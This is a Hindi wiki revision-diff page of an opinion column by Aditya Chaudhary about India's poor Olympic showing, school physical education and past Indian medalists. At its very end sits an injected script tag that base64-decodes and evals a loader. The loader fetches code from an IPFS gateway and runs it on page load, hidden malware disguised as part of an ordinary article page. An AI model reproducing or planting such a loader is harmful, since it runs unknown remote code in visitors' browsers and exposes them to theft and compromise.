"मौसम है ओलम्पिकाना -आदित्य चौधरी" के अवतरणों में अंतर
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भारत में शिकार करके ही भोजन प्राप्त करना अनिवार्य नहीं था। अनेक फल, सब्ज़ी और कन्दमूल से भारत की भूमि संपन्न थी। बाद में खेती करना भी यहाँ आसान ही रहा। तरह-तरह की खेती के लिए उपयोगी तीनों मौसम (गर्मी, सर्दी और बरसात) यहाँ उपलब्ध थे। [[हड़प्पा]] से प्राप्त, [[सिंधु सभ्यता]] के समय के [[अवशेष|अवशेषों]] में, जो भाले मिले हैं वे किसी जानवर का शिकार करने के लिए उपयोगी नहीं हैं, जिसका कारण इन भालों का बेहद कमज़ोर होना है। ये भाले मात्र धार्मिक अनुष्ठानों को आयोजित करने में प्रयुक्त होते थे न कि किसी जानवर का शिकार करने में। इन बातों पर ग़ौर करें तो हमें समझ में आता है कि क्यों औसत भारतीयों की क़द-काठी बड़ी नहीं होती। [[पंजाब]], [[हरियाणा]] और पश्चिमी [[उत्तर प्रदेश]] के लोगों को यदि शामिल न किया जाय तो भारतीय मनुष्य की औसत ऊँचाई (क़द) एक से दो इंच तक कम हो जाती है। यही स्थिति सीने की नाप की भी है। | भारत में शिकार करके ही भोजन प्राप्त करना अनिवार्य नहीं था। अनेक फल, सब्ज़ी और कन्दमूल से भारत की भूमि संपन्न थी। बाद में खेती करना भी यहाँ आसान ही रहा। तरह-तरह की खेती के लिए उपयोगी तीनों मौसम (गर्मी, सर्दी और बरसात) यहाँ उपलब्ध थे। [[हड़प्पा]] से प्राप्त, [[सिंधु सभ्यता]] के समय के [[अवशेष|अवशेषों]] में, जो भाले मिले हैं वे किसी जानवर का शिकार करने के लिए उपयोगी नहीं हैं, जिसका कारण इन भालों का बेहद कमज़ोर होना है। ये भाले मात्र धार्मिक अनुष्ठानों को आयोजित करने में प्रयुक्त होते थे न कि किसी जानवर का शिकार करने में। इन बातों पर ग़ौर करें तो हमें समझ में आता है कि क्यों औसत भारतीयों की क़द-काठी बड़ी नहीं होती। [[पंजाब]], [[हरियाणा]] और पश्चिमी [[उत्तर प्रदेश]] के लोगों को यदि शामिल न किया जाय तो भारतीय मनुष्य की औसत ऊँचाई (क़द) एक से दो इंच तक कम हो जाती है। यही स्थिति सीने की नाप की भी है। | ||
भारत की टीमें जब खेलती हैं तो बार-बार टीम भावना की कमी की बात उठती है। 'टीम के लिए नहीं अपने लिए खेलने' के आरोप हमारे खिलाड़ियों पर अक्सर लगते रहते हैं। आख़िर करना क्या चाहिए इसे सुधारने के लिए ? इसका मात्र एक उपाय है- स्कूलों और कॉलेजों में अनिवार्य शारीरिक शिक्षा। इस शारीरिक शिक्षा के अंक मूल परीक्षा के अंकों में जोड़े जाएँ। साथ ही कम से कम तीन वर्ष की सैनिक शिक्षा भी अनिवार्य होनी चाहिए। इसके बाद ही विद्यार्थी अपना जीवन प्रारम्भ करे। आजकल जो स्थिति है उसको देखें तो शिक्षण संस्थानों में जो भी छात्र खेलकूद में भाग लेते हैं उन्हें कोई पदक, कप, शील्ड या प्रमाणपत्र पकड़ा दिया जाता है। कितनी कम्पनी ऐसी हैं जो ये पदक और प्रमाणपत्र देखकर नौकरी देती हैं ? कोई देखता भी नहीं है इनकी तरफ़ बल्कि हम ख़ुद ही देखना भूल जाते हैं। 30-40 साल पहले शिक्षण संस्थानों में एन.सी.सी. और स्काउट का प्रशिक्षण हुआ करता था लेकिन तब भी यह अनिवार्य नहीं था अब तो इतना भी नहीं होता। | भारत की टीमें जब खेलती हैं तो बार-बार टीम भावना की कमी की बात उठती है। 'टीम के लिए नहीं अपने लिए खेलने' के आरोप हमारे खिलाड़ियों पर अक्सर लगते रहते हैं। आख़िर करना क्या चाहिए इसे सुधारने के लिए ? इसका मात्र एक उपाय है- स्कूलों और कॉलेजों में अनिवार्य शारीरिक शिक्षा। इस शारीरिक शिक्षा के अंक मूल परीक्षा के अंकों में जोड़े जाएँ। साथ ही कम से कम तीन वर्ष की सैनिक शिक्षा भी अनिवार्य होनी चाहिए। इसके बाद ही विद्यार्थी अपना जीवन प्रारम्भ करे। आजकल जो स्थिति है उसको देखें तो शिक्षण संस्थानों में जो भी छात्र खेलकूद में भाग लेते हैं उन्हें कोई पदक, कप, शील्ड या प्रमाणपत्र पकड़ा दिया जाता है। कितनी कम्पनी ऐसी हैं जो ये पदक और प्रमाणपत्र देखकर नौकरी देती हैं ? कोई देखता भी नहीं है इनकी तरफ़ बल्कि हम ख़ुद ही देखना भूल जाते हैं। 30-40 साल पहले शिक्षण संस्थानों में एन.सी.सी. और स्काउट का प्रशिक्षण हुआ करता था लेकिन तब भी यह अनिवार्य नहीं था अब तो इतना भी नहीं होता। | ||
− | ओलम्पिक में अपनी स्थिति को देखें तो खाशाबा दादासाहेब जाधव को पहला व्यक्तिगत पदक (कांस्य) 1952 में मिला। उसके बाद लिएंडर पेस, कर्णम मल्लेश्वरी, राजवर्धन सिंह राठौर और अभिनव बिन्द्रा का नाम आता है। बिन्द्रा ने स्वर्ण जीता और बाक़ी सबने कांस्य जीते। इनके अलावा भारतीय हॉकी टीम ने स्वर्ण पदक जीते जिसमें [[मेजर ध्यानचंद|मेजर ध्यानचंद जी]] का | + | ओलम्पिक में अपनी स्थिति को देखें तो खाशाबा दादासाहेब जाधव को पहला व्यक्तिगत पदक (कांस्य) 1952 में मिला। उसके बाद लिएंडर पेस, कर्णम मल्लेश्वरी, राजवर्धन सिंह राठौर और अभिनव बिन्द्रा का नाम आता है। बिन्द्रा ने स्वर्ण जीता और बाक़ी सबने कांस्य जीते। इनके अलावा भारतीय हॉकी टीम ने स्वर्ण पदक जीते जिसमें [[मेजर ध्यानचंद|मेजर ध्यानचंद जी]] का महान् योगदान था। 1980 के बाद भारतीय हॉकी ओलम्पिक में दिखाई नहीं दी। |
आज भारत एक महाशक्ति बन चुका है। दुनिया का कोई देश ऐसा नहीं है जिससे संबंध बनाए रखने के लिए भारत बाध्य हो। जबकि अमरीका जैसे देश भी अब भारत से संबंध मधुर रखने की अनिवार्यता को स्वीकार चुके हैं। अब ज़रूरत इस बात की है कि भारत, विज्ञान और खेल के क्षेत्र में भी विश्व भर में अपना लोहा मनवाए। | आज भारत एक महाशक्ति बन चुका है। दुनिया का कोई देश ऐसा नहीं है जिससे संबंध बनाए रखने के लिए भारत बाध्य हो। जबकि अमरीका जैसे देश भी अब भारत से संबंध मधुर रखने की अनिवार्यता को स्वीकार चुके हैं। अब ज़रूरत इस बात की है कि भारत, विज्ञान और खेल के क्षेत्र में भी विश्व भर में अपना लोहा मनवाए। | ||
इस सप्ताह इतना ही... अगले सप्ताह कुछ और... | इस सप्ताह इतना ही... अगले सप्ताह कुछ और... | ||
-आदित्य चौधरी | -आदित्य चौधरी | ||
− | <small> | + | <small>संस्थापक एवं प्रधान सम्पादक</small> |
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11:23, 1 अगस्त 2017 के समय का अवतरण
मौसम है ओलम्पिकाना -आदित्य चौधरी ओलम्पिक समिति के सदस्य 'मिस्टर लुट्टनवाला' गाना गुनगुना रहे हैं- |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>